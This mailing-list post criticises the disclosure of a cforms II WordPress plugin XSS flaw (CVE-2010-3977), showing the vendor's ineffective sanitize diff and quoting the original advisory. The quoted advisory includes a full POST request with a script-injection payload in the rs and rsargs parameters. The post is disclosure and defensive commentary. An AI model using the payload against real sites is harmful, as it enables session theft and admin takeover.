0-DAY XSS of cforms II is now fixed after a year and four months (was Re: cforms WordPress Plugin Cross Site Scripting Vulnerability - CVE-2010-3977)

[Kousuke Ebihara <kousuke () co3k org>]

I've reported the following XSS vulnerability in cforms II. This vulnerability has been fixed on February 14, 2012 by 
its developer.

WordPress cformsII Plugin "rs" Cross-Site Scripting Vulnerability - Secunia.com
http://secunia.com/advisories/47984/

You might see this is a normal XSS vulnerability, but this isn't.

Because EXPLOIT CODE IS PUBLISHED AS 0-DAY ON Oct 30, 2010 in this list!

Are you puzzled?

Actually, the above vulnerability is the same with CVE-2010-3977, is brought by Rodrigo Branco and Wagner Elias.

Secunia has published the related advisory on Nov 1, 2010: http://secunia.com/advisories/42006. According to Secunia, 
this vulnerability is fixed in v11.6.1. v11.6.1 is released on Sep 22, 2010.

So you might image the following story.

  1. Rodrigo (or Wagner) reported this vulnerability to the developer
  2. The developer released new version for fix the XSS
  3. Rodrigo (and/or Wagner) confirmed that fix
  4. Rodrigo reports this vulnerability to this list

However, this is not truth. The developer of cforms didn't fix this XSS at this point.

So what he has "fixed"? See the following diff::

    --- cforms-v11.5/lib_ajax.php       2009-09-18 10:29:06.000000000 +0900
    +++ cforms-v11.6.1/lib_ajax.php     2010-09-22 07:41:54.000000000 +0900
    @@ -627,16 +627,16 @@
                ###  always modified
                header ("Cache-Control: no-cache, must-revalidate");  ###  HTTP/1.1
                header ("Pragma: no-cache");                          ###  HTTP/1.0
    -                   $func_name = $_GET["rs"];
    +                   $func_name = sajax_sanitize( $_GET["rs"] );
                if (! empty($_GET["rsargs"]))
    -                           $args = $_GET["rsargs"];
    +                           $args = sajax_sanitize( $_GET["rsargs"] );
                else
                    $args = array();
            }
            else {
    -                   $func_name = $_POST["rs"];
    +                   $func_name = sajax_sanitize( $_POST["rs"] );
                if (! empty($_POST["rsargs"]))
    -                           $args = $_POST["rsargs"];
    +                           $args = sajax_sanitize( $_POST["rsargs"] );
                else
                    $args = array();
            }
    @@ -651,6 +651,14 @@
            exit;
        }
     
    +   ### sanitize
    +   function sajax_sanitize($t) {
    +           //$t = preg_replace('/\s/', '', $t);
    +           $t = str_replace('<php', '', $t);
    +           $t = str_replace('<?', '', $t);
    +           return $t;
    +   }
    +
        ###  javascript escape a value
        function sajax_esc($val)
        {

WTF!? This looks like fix for PHP code execution vulnerability, but there are no such vulnerabilities!

Hey, Rodrigo and Wagner, do YOU see the above as fix for XSS? Really?

So, the XSS was not fixed in v11.6.1. Of course the exploit code that was posted by Rodrigo, was available in many site 
until February 14, 2012.

XSS vulnerability in WordPress and its plugin is too dangerous because if attacker gets full privileges of admin user 
by that vulnerability, he can write and execute any PHP code by using theme editing feature (if the target file is 
writable).

As you can see, Rodrigo has done is throwing every cforms users into crisis and nothing more.

Since exploit code is published before fix, there should be attacker who focuses this vulnerability. If so, many sites 
may be attacked by this vulnerability even if the admin never failed to apply security fix.


Rodrigo and Wagner, I have some questions to you.

First, you must have reported to the developer, but in what way? Confusing the XSS vulnerability with PHP code 
execution vulnerability is so funny. I can't help feeling that you told it sloppily. 
Second, why didn't you confirm the fix before publishing exploit?


And I'd like to ask ALL SECURITY RESEARCHERS (of course including Rodrigo and Wagner).

For what do you research security? What is your "security"? To protect people from threat? Or throw people into crisis? 
Do you recognize effects of your halfway job like this case?

Please reconsider this.


Thanks,
Kousuke

(10/10/31 0:13), Rodrigo Branco wrote:
> Dear List,
>
> I'm writing on behalf of the Check Point Vulnerability Discovery Team to publish the following vulnerability.
>
>
>
> Check Point Software Technologies - Vulnerability Discovery Team (VDT)
> http://www.checkpoint.com/defense/
>
> cforms WordPress Plugin Cross Site Scripting Vulnerability
> CVE-2010-3977
>
>
> INTRODUCTION
>
> According to Delicious Days, "cforms is a powerful and feature rich form plugin for WordPress, offering convenient 
> deployment of multiple Ajax 
> driven contact forms throughout your blog or even on the same page."
>
> This problem was confirmed in the following versions of the cforms WordPress Plugin, other versions 
> maybe also affected.
>
> cforms v11.5
>
>
> CVSS Scoring System
>
> The CVSS score is: 5.5
>       Base Score: 6.7
>       Temporal Score: 5.5
> We used the following values to calculate the scores:
>       Base score is: AV:N/AC:L/Au:N/C:C/I:C/A:N
>       Temporal score is: E:F/RL:OF/RC:C
>
>
> DETAILS
>
> A data array is created in lib_ajax.php using values from a form field in a POST request.  The parameters rs and 
> rsargs are not validated and thus
> it is possible to inject code.
>
> Request:
> http://<server>/wp-content/plugins/cforms/lib_ajax.php
> POST /wp-content/plugins/cforms/lib_ajax.php HTTP/1.1
> Host: <server>
> User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:
> 1.9.2.10) Gecko/20100914 Firefox/3.6.10
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
> Accept-Language: en-us,en;q=0.5
> Accept-Encoding: gzip,deflate
> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
> Keep-Alive: 115
> Connection: keep-alive
> Content-Type: application/x-www-form-urlencoded; charset=UTF-8
> Content-Length: 219
> Cookie: wp-settings-1=m0%3Do%26m1%3Do%26m2%3Do%26m3%3Do%26m4%3Do%26m5%3Do
> %26m6%3Do%26m7%3Do%26m8%3Do%26urlbutton%3Dnone%26editor%3Dtinymce
> %26imgsize%3Dfull%26align%3Dcenter%26hidetb%3D1%26m9%3Dc%26m10%3Do
> %26uploader%3D1%26m11%3Do; wp-settings-time-1=1285758765;
> c o m m e n t _ a u t h o r _ 9 3 f 4 1 b a 0 b 1 6 f 3 4 6 7 6 f 8 0 2 0 5 8 e 8 2 3 8 8 f 6 = t e s t  ;
> comment_author_email_93f41ba0b16f34676f802058e82388f6=rbranco_nospam
> %40checkpoint.com
> Pragma: no-cache
> Cache-Control: no-cache
> rs=<script>alert(1)</script>&rst=&rsrnd=1287506634854&rsargs[]=1$#
> $<script>alert(1)</script>$#$rbranco_nospam () checkpoint com$#$http://
> www.checkpoint.com$#$<script>alert(1)</script>
>
>
>
> CREDITS
>
> This vulnerability has been brought to our attention by Wagner Elias from Conviso IT Security company 
> (http://www.conviso.com.br) and researched internally by Rodrigo Rubira Branco from the Check Point Vulnerability 
> Discovery Team (VDT).
>
>
>
>
> Best Regards,
>  
> Rodrigo.
>  
> --
> Rodrigo Rubira Branco
> Senior Security Researcher
> Vulnerability Discovery Team (VDT)
> Check Point Software Technologies


-- 
Kousuke Ebihara <kousuke () co3k org>
http://co3k.org/